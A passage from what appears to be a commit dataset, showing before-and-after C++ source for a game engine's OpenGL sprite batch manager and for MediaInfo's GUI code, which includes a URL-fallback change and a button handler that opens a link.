reinterpret_cast<void*>(colorOffset));\n\t\tOpenGL::checkError();\n\n\t\tCore::Logger::info(\"SpriteBatchManager : Created sprite VAO!\");\n\n\t\tgl::BindVertexArray(0);\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, 0);\n\t}\n\n\tvoid SpriteBuffer::clear()\n\t{\n\t\toffset = 0;\n\t\tcurrentSize = 0;\n\t\tunmapMemory();\n\t\tmapMemory();\n\t}\n\n\tvoid SpriteBuffer::mapMemory()\n\t{\n\t\tif(_mappedPtr != nullptr)\n\t\t\treturn;\n\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, getVBO());\n\t\tOpenGL::checkError();\n\n\t\t_mappedPtr = gl::MapBufferRange(gl::ARRAY_BUFFER, 0, maximumSize * sizeof(SpriteVertex),\n\t\t\t\t\t\t\t\t\t\tgl::MAP_WRITE_BIT | gl::MAP_INVALIDATE_RANGE_BIT);\n\t\tOpenGL::checkError();\n\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, 0);\n\t\tOpenGL::checkError();\n\t}\n\n\tvoid SpriteBuffer::unmapMemory()\n\t{\n\t\tif(_mappedPtr == nullptr)\n\t\t\treturn;\n\n\t\t_mappedPtr = nullptr;\n\t\tgl::BindBuffer (gl::ARRAY_BUFFER, getVBO());\n\t\tOpenGL::checkError();\n\n\t\tgl::UnmapBuffer(gl::ARRAY_BUFFER);\n\t\tOpenGL::checkError();\n\n\t\tgl::BindBuffer (gl::ARRAY_BUFFER, 0);\n\t\tOpenGL::checkError();\n\t}\n\n\tvoid SpriteBuffer::copyData(SpriteVertex (&array)[6])\n\t{\n\t\tSpriteVertex* buffer = static_cast<SpriteVertex*>(_mappedPtr);\n\t\tmempcpy(buffer, array, sizeof(SpriteVertex) * 6);\n\n\t\tbuffer\t\t+= 6;\n\t\tcurrentSize\t+= 6;\n\t\t_mappedPtr\t = buffer;\n\t}\n\n\tSpriteBatchManager::SpriteBatchManager(Core::Engine& engine,\n\t\t\t\t\t\t\t\t\t\t   Memory::IMemoryBlock& memory)\n\t\t: IManager(engine, memory),\n\t\t  _memory(memory),\n\t\t  _buffers(memory),\n\t\t  _batches(memory),\n\t\t  _currentBuffer(0)\n\t{ }\n\n\tSpriteBatchManager::~SpriteBatchManager()\n\t{\n\t\tfor (auto& buffer : _buffers)\n\t\t{\n\t\t\tMemory::Delete(_memory, buffer->_vao);\n\t\t\tMemory::Delete(_memory, buffer->_vbo);\n\t\t\tMemory::Delete(_memory, buffer);\n\t\t}\n\t}\n\n\tbool SpriteBatchManager::initialize()\n\t{\n\t\treturn true;\n\t}\n\n\tvoid SpriteBatchManager::clear()\n\t{\n\t\tfor(auto& batch : _batches)\n\t\t{\n\t\t\tbatch.clear();\n\t\t}\n\n\t\tfor(auto* buffer : _buffers)\n\t\t{\n\t\t\tbuffer->clear();\n\t\t}\n\t}\n\n\tSpriteBuffer& SpriteBatchManager::createNewBuffer(std::uint32_t size)\n\t{\n\t\t_buffers.emplace(YAGE_CREATE_NEW(_memory, SpriteBuffer)(_memory, SpriteBuffer::DEFAULT_BUFFER_SIZE));\n\t\t_buffers.back()->mapMemory();\n\t\t_currentBuffer++;\n\n\t\treturn *_buffers.back();\n\t}\n\n\tSpriteBatch& SpriteBatchManager::getSpriteBatch(Utils::Handle<Core::Material> material, Camera* camera, int32_t minimalSize)\n\t{\n\t\tauto* mat = _engine.MaterialManager->tryGetMaterial(material);\n\n\t\tYAGE_ASSERT(camera != nullptr && mat != nullptr, \"SpriteBatchManager : Tried to create SpriteBatch without material or camera!\");\n\n\t\tBatchIndex index(camera->sortIndex, material.index);\n\t\tSpriteBatch* batchPtr = nullptr;\n\n\t\tauto batchItr = _batchMap.find(index.key);\n\t\tif (batchItr == _batchMap.end())\n\t\t{\n\t\t\t_batchMap[index.key] = _batches.size();\n\n\t\t\t\/\/ Todo : dynamically find buffer of best fitting size\n\t\t\t\/\/ if (getCurrentBuffer().getFreeSize() < minimalSize)\n\t\t\t\/\/ \tcreateNewBuffer(std::max(minimalSize, SpriteBuffer::MAX_BUFFER_SIZE));\n\n\t\t\tif (minimalSize < 0)\n\t\t\t\tminimalSize = SpriteBuffer::DEFAULT_BUFFER_SIZE;\n\n\t\t\t_batches.emplace(createNewBuffer(std::min(minimalSize, SpriteBuffer::MAX_BUFFER_SIZE)));\n\t\t\tbatchPtr = &_batches.back();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbatchPtr = &_batches[batchItr->second];\n\n\t\t\tif(minimalSize > 0)\n\t\t\t\tbatchPtr->ensureCapacity(minimalSize);\n\t\t}\n\n\t\tYAGE_ASSERT(batchPtr != nullptr, \"SpriteBatchManager : was unable to create SpriteBatch!\");\n\n\t\tbatchPtr->_cameraPtr = camera;\n\t\tbatchPtr->_materialPtr = mat;\n\n\t\treturn *batchPtr;\n\t}\n}\n<commit_msg>Changed mempcpy to memcpy<commit_after>\/\/\n\/\/ Created by Bentoo on 2017-04-13.\n\/\/\n\n#include <Utils\/MemoryBlock.h>\n#include \"Core\/Gfx\/SpriteBatchManager.h\"\n#include \"Core\/Gfx\/SpriteBatch.h\"\n#include \"Core\/Gfx\/Sprite.h\"\n#include \"Core\/Gfx\/Camera.h\"\n#include \"Core\/Resources\/Material\/MaterialManager.h\"\n#include \"Core\/Engine.h\"\n#include \"Core\/Logger.h\"\n\nnamespace Gfx\n{\n\tconst std::int32_t SpriteBuffer::DEFAULT_BUFFER_SIZE = 1000;\n\tconst std::int32_t SpriteBuffer::MAX_BUFFER_SIZE = 64*1000;\n\n\tSpriteBuffer::SpriteBuffer(Memory::IMemoryBlock& memory, std::int32_t size)\n\t\t: _mappedPtr(nullptr), _vbo(nullptr), maximumSize(size), currentSize(0), offset(0)\n\t{\n\t\t_vbo = OpenGL::VBO::Create(memory);\n\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, *_vbo);\n\t\tOpenGL::checkError();\n\n\t\tgl::BufferData(gl::ARRAY_BUFFER, maximumSize * sizeof(SpriteVertex), nullptr, gl::DYNAMIC_DRAW);\n\t\tOpenGL::checkError();\n\n\t\t_vao = OpenGL::VAO::Create(memory);\n\n\t\tgl::BindVertexArray(getVAO());\n\n\t\tCore::Logger::info(\"SpriteBatchManager : creating sprite VAO...\");\n\n\t\tgl::EnableVertexAttribArray(0);\n\t\tOpenGL::checkError();\n\t\tgl::VertexAttribPointer(0, 3, gl::FLOAT, gl::FALSE_, sizeof(SpriteVertex), reinterpret_cast<void*>(0));\n\t\tOpenGL::checkError();\n\n\t\tgl::EnableVertexAttribArray(1);\n\t\tOpenGL::checkError();\n\t\tauto textureOffset = sizeof(glm::vec3);\n\t\tgl::VertexAttribPointer(1, 3, gl::FLOAT, gl::FALSE_, sizeof(SpriteVertex), reinterpret_cast<void*>(textureOffset));\n\t\tOpenGL::checkError();\n\n\t\tgl::EnableVertexAttribArray(2);\n\t\tOpenGL::checkError();\n\t\tauto colorOffset = sizeof(glm::vec3) * 2;\n\t\tgl::VertexAttribPointer(2, 4, gl::UNSIGNED_BYTE, gl::TRUE_, sizeof(SpriteVertex), reinterpret_cast<void*>(colorOffset));\n\t\tOpenGL::checkError();\n\n\t\tCore::Logger::info(\"SpriteBatchManager : Created sprite VAO!\");\n\n\t\tgl::BindVertexArray(0);\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, 0);\n\t}\n\n\tvoid SpriteBuffer::clear()\n\t{\n\t\toffset = 0;\n\t\tcurrentSize = 0;\n\t\tunmapMemory();\n\t\tmapMemory();\n\t}\n\n\tvoid SpriteBuffer::mapMemory()\n\t{\n\t\tif(_mappedPtr != nullptr)\n\t\t\treturn;\n\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, getVBO());\n\t\tOpenGL::checkError();\n\n\t\t_mappedPtr = gl::MapBufferRange(gl::ARRAY_BUFFER, 0, maximumSize * sizeof(SpriteVertex),\n\t\t\t\t\t\t\t\t\t\tgl::MAP_WRITE_BIT | gl::MAP_INVALIDATE_RANGE_BIT);\n\t\tOpenGL::checkError();\n\n\t\tgl::BindBuffer(gl::ARRAY_BUFFER, 0);\n\t\tOpenGL::checkError();\n\t}\n\n\tvoid SpriteBuffer::unmapMemory()\n\t{\n\t\tif(_mappedPtr == nullptr)\n\t\t\treturn;\n\n\t\t_mappedPtr = nullptr;\n\t\tgl::BindBuffer (gl::ARRAY_BUFFER, getVBO());\n\t\tOpenGL::checkError();\n\n\t\tgl::UnmapBuffer(gl::ARRAY_BUFFER);\n\t\tOpenGL::checkError();\n\n\t\tgl::BindBuffer (gl::ARRAY_BUFFER, 0);\n\t\tOpenGL::checkError();\n\t}\n\n\tvoid SpriteBuffer::copyData(SpriteVertex (&array)[6])\n\t{\n\t\tSpriteVertex* buffer = static_cast<SpriteVertex*>(_mappedPtr);\n\t\tmemcpy(buffer, array, sizeof(SpriteVertex) * 6);\n\n\t\tbuffer\t\t+= 6;\n\t\tcurrentSize\t+= 6;\n\t\t_mappedPtr\t = buffer;\n\t}\n\n\tSpriteBatchManager::SpriteBatchManager(Core::Engine& engine,\n\t\t\t\t\t\t\t\t\t\t   Memory::IMemoryBlock& memory)\n\t\t: IManager(engine, memory),\n\t\t  _memory(memory),\n\t\t  _buffers(memory),\n\t\t  _batches(memory),\n\t\t  _currentBuffer(0)\n\t{ }\n\n\tSpriteBatchManager::~SpriteBatchManager()\n\t{\n\t\tfor (auto& buffer : _buffers)\n\t\t{\n\t\t\tMemory::Delete(_memory, buffer->_vao);\n\t\t\tMemory::Delete(_memory, buffer->_vbo);\n\t\t\tMemory::Delete(_memory, buffer);\n\t\t}\n\t}\n\n\tbool SpriteBatchManager::initialize()\n\t{\n\t\treturn true;\n\t}\n\n\tvoid SpriteBatchManager::clear()\n\t{\n\t\tfor(auto& batch : _batches)\n\t\t{\n\t\t\tbatch.clear();\n\t\t}\n\n\t\tfor(auto* buffer : _buffers)\n\t\t{\n\t\t\tbuffer->clear();\n\t\t}\n\t}\n\n\tSpriteBuffer& SpriteBatchManager::createNewBuffer(std::uint32_t size)\n\t{\n\t\t_buffers.emplace(YAGE_CREATE_NEW(_memory, SpriteBuffer)(_memory, SpriteBuffer::DEFAULT_BUFFER_SIZE));\n\t\t_buffers.back()->mapMemory();\n\t\t_currentBuffer++;\n\n\t\treturn *_buffers.back();\n\t}\n\n\tSpriteBatch& SpriteBatchManager::getSpriteBatch(Utils::Handle<Core::Material> material, Camera* camera, int32_t minimalSize)\n\t{\n\t\tauto* mat = _engine.MaterialManager->tryGetMaterial(material);\n\n\t\tYAGE_ASSERT(camera != nullptr && mat != nullptr, \"SpriteBatchManager : Tried to create SpriteBatch without material or camera!\");\n\n\t\tBatchIndex index(camera->sortIndex, material.index);\n\t\tSpriteBatch* batchPtr = nullptr;\n\n\t\tauto batchItr = _batchMap.find(index.key);\n\t\tif (batchItr == _batchMap.end())\n\t\t{\n\t\t\t_batchMap[index.key] = _batches.size();\n\n\t\t\t\/\/ Todo : dynamically find buffer of best fitting size\n\t\t\t\/\/ if (getCurrentBuffer().getFreeSize() < minimalSize)\n\t\t\t\/\/ \tcreateNewBuffer(std::max(minimalSize, SpriteBuffer::MAX_BUFFER_SIZE));\n\n\t\t\tif (minimalSize < 0)\n\t\t\t\tminimalSize = SpriteBuffer::DEFAULT_BUFFER_SIZE;\n\n\t\t\t_batches.emplace(createNewBuffer(std::min(minimalSize, SpriteBuffer::MAX_BUFFER_SIZE)));\n\t\t\tbatchPtr = &_batches.back();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbatchPtr = &_batches[batchItr->second];\n\n\t\t\tif(minimalSize > 0)\n\t\t\t\tbatchPtr->ensureCapacity(minimalSize);\n\t\t}\n\n\t\tYAGE_ASSERT(batchPtr != nullptr, \"SpriteBatchManager : was unable to create SpriteBatch!\");\n\n\t\tbatchPtr->_cameraPtr = camera;\n\t\tbatchPtr->_materialPtr = mat;\n\n\t\treturn *batchPtr;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ GUI_Main_Common_Core - Core GUI for MediaInfo\r\n\/\/ Copyright (C) 2007-2010 MediaArea.net SARL, Info@MediaArea.net\r\n\/\/\r\n\/\/ This program is free software: you can redistribute it and\/or modify it\r\n\/\/ under the terms of the GNU Lesser General Public License as published by\r\n\/\/ the Free Software Foundation, either version 3 of the License, or\r\n\/\/ any later version.\r\n\/\/\r\n\/\/ This program is distributed in the hope that it will be useful,\r\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n\/\/ GNU Lesser General Public License for more details.\r\n\/\/\r\n\/\/ You should have received a copy of the GNU Lesser General Public License\r\n\/\/ along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#include \"GUI\/Common\/GUI_Main_Common_Core.h\"\r\n#include \"Common\/Core.h\"\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/***************************************************************************\r\n\/\/ Constructor\/Destructor\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nGUI_Main_Common_Core::GUI_Main_Common_Core(Core* _C)\r\n{\r\n    \/\/Internal\r\n    C=_C;\r\n    File_Pos=(size_t)-1;\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Global\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nsize_t GUI_Main_Common_Core::FilesCount_Get()\r\n{\r\n    return C->MI->Count_Get();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nsize_t GUI_Main_Common_Core::FilesPos_Get()\r\n{\r\n    return File_Pos;\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Per file\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::FileName_Get()\r\n{\r\n    return C->MI->Get(File_Pos, Stream_General, 0, _T(\"CompleteName\")).c_str();\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Per StreamKind\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nsize_t GUI_Main_Common_Core::StreamsCount_Get(stream_t StreamKind)\r\n{\r\n    return C->MI->Count_Get(File_Pos, StreamKind);\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Per Stream\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::Summary_Get(stream_t StreamKind, size_t StreamPos)\r\n{\r\n    C->MI->Option(_T(\"Inform\"), _T(\"Summary\"));\r\n    return C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"Inform\")).c_str();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::Inform_Get(stream_t StreamKind, size_t StreamPos)\r\n{\r\n    C->MI->Option(_T(\"Inform\"), _T(\"\"));\r\n    return C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"Inform\")).c_str();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::CodecID_Url_Get(stream_t StreamKind, size_t StreamPos)\r\n{\r\n    return C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"CodecID\/Url\")).c_str();\r\n}\r\n\r\n\r\n<commit_msg>x GUI, displaying URl of Format if URl of CodecID is not known<commit_after>\/\/ GUI_Main_Common_Core - Core GUI for MediaInfo\r\n\/\/ Copyright (C) 2007-2010 MediaArea.net SARL, Info@MediaArea.net\r\n\/\/\r\n\/\/ This program is free software: you can redistribute it and\/or modify it\r\n\/\/ under the terms of the GNU Lesser General Public License as published by\r\n\/\/ the Free Software Foundation, either version 3 of the License, or\r\n\/\/ any later version.\r\n\/\/\r\n\/\/ This program is distributed in the hope that it will be useful,\r\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n\/\/ GNU Lesser General Public License for more details.\r\n\/\/\r\n\/\/ You should have received a copy of the GNU Lesser General Public License\r\n\/\/ along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#include \"GUI\/Common\/GUI_Main_Common_Core.h\"\r\n#include \"Common\/Core.h\"\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/***************************************************************************\r\n\/\/ Constructor\/Destructor\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nGUI_Main_Common_Core::GUI_Main_Common_Core(Core* _C)\r\n{\r\n    \/\/Internal\r\n    C=_C;\r\n    File_Pos=(size_t)-1;\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Global\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nsize_t GUI_Main_Common_Core::FilesCount_Get()\r\n{\r\n    return C->MI->Count_Get();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nsize_t GUI_Main_Common_Core::FilesPos_Get()\r\n{\r\n    return File_Pos;\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Per file\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::FileName_Get()\r\n{\r\n    return C->MI->Get(File_Pos, Stream_General, 0, _T(\"CompleteName\")).c_str();\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Per StreamKind\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nsize_t GUI_Main_Common_Core::StreamsCount_Get(stream_t StreamKind)\r\n{\r\n    return C->MI->Count_Get(File_Pos, StreamKind);\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions - Per Stream\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::Summary_Get(stream_t StreamKind, size_t StreamPos)\r\n{\r\n    C->MI->Option(_T(\"Inform\"), _T(\"Summary\"));\r\n    return C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"Inform\")).c_str();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::Inform_Get(stream_t StreamKind, size_t StreamPos)\r\n{\r\n    C->MI->Option(_T(\"Inform\"), _T(\"\"));\r\n    return C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"Inform\")).c_str();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nString GUI_Main_Common_Core::CodecID_Url_Get(stream_t StreamKind, size_t StreamPos)\r\n{\r\n    if (!C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"CodecID\/Url\")).empty())\r\n        return C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"CodecID\/Url\")).c_str();\r\n    else\r\n        return C->MI->Get(File_Pos, StreamKind, StreamPos, _T(\"Format\/Url\")).c_str();\r\n}\r\n\r\n\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ GUI_Main_Easy_Box - WxWidgets GUI for MediaInfo\r\n\/\/ Copyright (C) 2007-2008 Jerome Martinez, Zen@MediaArea.net\r\n\/\/\r\n\/\/ This program is free software: you can redistribute it and\/or modify\r\n\/\/ it under the terms of the GNU General Public License as published by\r\n\/\/ the Free Software Foundation, either version 3 of the License, or\r\n\/\/ any later version.\r\n\/\/\r\n\/\/ This program is distributed in the hope that it will be useful,\r\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n\/\/ GNU General Public License for more details.\r\n\/\/\r\n\/\/ You should have received a copy of the GNU General Public License\r\n\/\/ along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#include \"wx\/wxprec.h\"\r\n#ifndef WX_PRECOMP\r\n    #include \"wx\/wx.h\"\r\n#endif\r\n#ifdef __BORLANDC__\r\n    #pragma hdrstop\r\n#endif\r\n#include \"GUI\/WxWidgets\/GUI_Main_Easy_Box.h\"\r\n#include \"GUI\/WxWidgets\/GUI_Main_Easy.h\"\r\n#include \"Common\/Core.h\"\r\n#include <wx\/choice.h>\r\n#include <wx\/statbox.h>\r\n#include <wx\/stattext.h>\r\n#include <wx\/button.h>\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/---------------------------------------------------------------------------\r\nBEGIN_EVENT_TABLE(GUI_Main_Easy_Box, wxPanel)\r\n    \/\/Button\r\n    EVT_BUTTON(26991, GUI_Main_Easy_Box::OnClick)\r\nEND_EVENT_TABLE()\r\n\r\n\/\/***************************************************************************\r\n\/\/ Constructor\/Destructor\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nGUI_Main_Easy_Box::GUI_Main_Easy_Box(Core* _C, GUI_Main_Easy* Parent, wxWindow* Left, wxWindow* Top, stream_t StreamKind, size_t StreamPos)\r\n    : wxPanel(Parent, 26991, wxPoint(0, 0), wxSize(Parent->GetClientSize().GetWidth()-0, Parent->GetClientSize().GetHeight()-0)),\r\n    GUI_Main_Easy_Box_Core(_C, Parent, StreamKind, StreamPos)\r\n{\r\n    \/\/Internal\r\n    GUI_Main_Easy_Box::Parent=Parent;\r\n    GUI_Main_Easy_Box::Left=Left;\r\n    GUI_Main_Easy_Box::Top=Top;\r\n\r\n    \/\/Creation\r\n    Box=new wxStaticBox  (this, 26991, wxEmptyString);\r\n    Text=new wxStaticText(this, 26991, wxEmptyString);\r\n    Tags=new wxStaticText(this, 26991, wxEmptyString);\r\n    Button=new wxButton  (this, 26991, wxEmptyString);\r\n\r\n    \/\/Update\r\n    GUI_Resize();\r\n    GUI_Refresh();\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid GUI_Main_Easy_Box::GUI_Refresh()\r\n{\r\n    \/\/Translation\r\n    Box->SetLabel(Box_Get().c_str());\r\n\r\n    \/\/Info\r\n    Text->SetLabel(Text_Get().c_str());\r\n    Text->SetToolTip(ToolTip_Get().c_str());\r\n    Tags->SetLabel(Tags_Get().c_str());\r\n\r\n    if (Button_Show())\r\n    {\r\n        Button->SetLabel(Button_Get().c_str());\r\n        Button->Show();\r\n    }\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid GUI_Main_Easy_Box::GUI_Resize()\r\n{\r\n    \/\/Configuring\r\n    if (MustHide())\r\n    {\r\n        SetSize     (Left?(Left->GetPosition().x+Left->GetSize().GetWidth()):2,\r\n                    Top?(Top->GetPosition().y+Top->GetSize().GetHeight()):0,\r\n                    0,\r\n                    0);\r\n        Hide();\r\n        return;\r\n    }\r\n\r\n    \/\/Calculating Parent data\r\n    int Parent_Width=(Parent->GetClientSize().GetWidth()-1)\/(int)Boxes_Show_Get();\r\n    if (IsLastBox())\r\n        Parent_Width+=(Parent->GetClientSize().GetWidth()-1)%(int)Boxes_Show_Get();\r\n    const int Box_Boundary=3;\r\n\r\n    \/\/Text\r\n    Text->SetSize  (Box_Boundary,\r\n                    Box->GetCharHeight(),\r\n                    (Parent_Width-Box_Boundary*2-(Tags_Get().empty()?0:Box->GetCharWidth()))\/(Tags_Get().empty()?1:2)-1,\r\n                    Text->GetCharHeight());\r\n    Tags->SetSize  (Text->GetPosition().x+Text->GetSize().GetWidth()+Box->GetCharWidth(),\r\n                    Text->GetPosition().y,\r\n                    Tags_Get().empty()?0:Text->GetSize().GetWidth(),\r\n                    Text->GetSize().GetHeight());\r\n    int Text_Width=Text->GetSize().GetWidth();\r\n    Text->SetLabel(Text_Get().c_str());\r\n    Tags->SetLabel(Tags_Get().c_str());\r\n    Text->Wrap(Text_Width);\r\n    Tags->Wrap(Text_Width);\r\n    Text->SetSize  (-1,\r\n                    -1,\r\n                    Text_Width,\r\n                    Text->GetSize().GetHeight()>Text->GetCharHeight()*(int)Lines_Count_Get()*2?Text->GetCharHeight()*(int)Lines_Count_Get()*2:(unsigned int)-1);\r\n    Tags->SetSize  (-1,\r\n                    -1,\r\n                    Text_Width,\r\n                    Tags->GetSize().GetHeight()>Tags->GetCharHeight()*(int)Lines_Count_Get()*2?Text->GetCharHeight()*(int)Lines_Count_Get()*2:(unsigned int)-1);\r\n\r\n    \/\/Button\r\n    Button->SetSize(Box_Boundary,\r\n                    Text->GetPosition().y+(Text->GetSize().GetHeight()>Tags->GetSize().GetHeight()?Text->GetSize().GetHeight():Tags->GetSize().GetHeight()),\r\n                    Parent_Width-Box_Boundary*2,\r\n                    Button_Show()?(Button->GetBestSize().GetHeight()):0);\r\n\r\n    \/\/Panel\r\n    Box->SetSize   (0,\r\n                    0,\r\n                    Parent_Width-2,\r\n                    Button->GetPosition().y+Button->GetSize().GetHeight()+Box_Boundary);\r\n    SetSize         (Left?(Left->GetPosition().x+Left->GetSize().GetWidth()):1,\r\n                    Top?(Top->GetPosition().y+Top->GetSize().GetHeight()):0,\r\n                    Parent_Width,\r\n                    Box->GetSize().GetHeight());\r\n\r\n    if (Button_Show())\r\n        Button->Show();\r\n    else\r\n        Button->Hide();\r\n    Show();\r\n}\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid GUI_Main_Easy_Box::OnClick(wxCommandEvent&)\r\n{\r\n    \/\/Showing\r\n    \/\/wxMessageBox(Button_Click().c_str(), _T(\"Should launch\"), wxOK | wxICON_INFORMATION, this);\r\n    #if defined (_WINDOWS)\r\n        ShellExecute(NULL, _T(\"open\"), Button_Click().c_str(), NULL, NULL, 0); \/\/wxExecute(_T(\"cmd \/C start \")+Button_Click());\r\n    #elif defined (_MACOS) || defined (_MACOSX)\r\n        wxExecute(_T(\"open \")+Button_Click());\r\n    #else\r\n        wxExecute(_T(\"xdg-open \")+Button_Click());\r\n    #endif\r\n}\r\n<commit_msg><commit_after>\/\/ GUI_Main_Easy_Box - WxWidgets GUI for MediaInfo\r\n\/\/ Copyright (C) 2007-2008 Jerome Martinez, Zen@MediaArea.net\r\n\/\/\r\n\/\/ This program is free software: you can redistribute it and\/or modify\r\n\/\/ it under the terms of the GNU General Public License as published by\r\n\/\/ the Free Software Foundation, either version 3 of the License, or\r\n\/\/ any later version.\r\n\/\/\r\n\/\/ This program is distributed in the hope that it will be useful,\r\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n\/\/ GNU General Public License for more details.\r\n\/\/\r\n\/\/ You should have received a copy of the GNU General Public License\r\n\/\/ along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\r\n\/\/\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\/\/---------------------------------------------------------------------------\r\n#include \"wx\/wxprec.h\"\r\n#ifndef WX_PRECOMP\r\n    #include \"wx\/wx.h\"\r\n#endif\r\n#ifdef __BORLANDC__\r\n    #pragma hdrstop\r\n#endif\r\n#include \"GUI\/WxWidgets\/GUI_Main_Easy_Box.h\"\r\n#include \"GUI\/WxWidgets\/GUI_Main_Easy.h\"\r\n#include \"Common\/Core.h\"\r\n#include <wx\/choice.h>\r\n#include <wx\/statbox.h>\r\n#include <wx\/stattext.h>\r\n#include <wx\/button.h>\r\n\/\/---------------------------------------------------------------------------\r\n\r\n\/\/---------------------------------------------------------------------------\r\nBEGIN_EVENT_TABLE(GUI_Main_Easy_Box, wxPanel)\r\n    \/\/Button\r\n    EVT_BUTTON(26991, GUI_Main_Easy_Box::OnClick)\r\nEND_EVENT_TABLE()\r\n\r\n\/\/***************************************************************************\r\n\/\/ Constructor\/Destructor\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nGUI_Main_Easy_Box::GUI_Main_Easy_Box(Core* _C, GUI_Main_Easy* Parent, wxWindow* Left, wxWindow* Top, stream_t StreamKind, size_t StreamPos)\r\n    : wxPanel(Parent, 26991, wxPoint(0, 0), wxSize(Parent->GetClientSize().GetWidth()-0, Parent->GetClientSize().GetHeight()-0)),\r\n    GUI_Main_Easy_Box_Core(_C, Parent, StreamKind, StreamPos)\r\n{\r\n    \/\/Internal\r\n    GUI_Main_Easy_Box::Parent=Parent;\r\n    GUI_Main_Easy_Box::Left=Left;\r\n    GUI_Main_Easy_Box::Top=Top;\r\n\r\n    \/\/Creation\r\n    Box=new wxStaticBox  (this, 26991, wxEmptyString);\r\n    Text=new wxStaticText(this, 26991, wxEmptyString);\r\n    Tags=new wxStaticText(this, 26991, wxEmptyString);\r\n    Button=new wxButton  (this, 26991, wxEmptyString);\r\n\r\n    \/\/Update\r\n    GUI_Resize();\r\n    GUI_Refresh();\r\n}\r\n\r\n\/\/***************************************************************************\r\n\/\/ Actions\r\n\/\/***************************************************************************\r\n\r\n\/\/---------------------------------------------------------------------------\r\nvoid GUI_Main_Easy_Box::GUI_Refresh()\r\n{\r\n    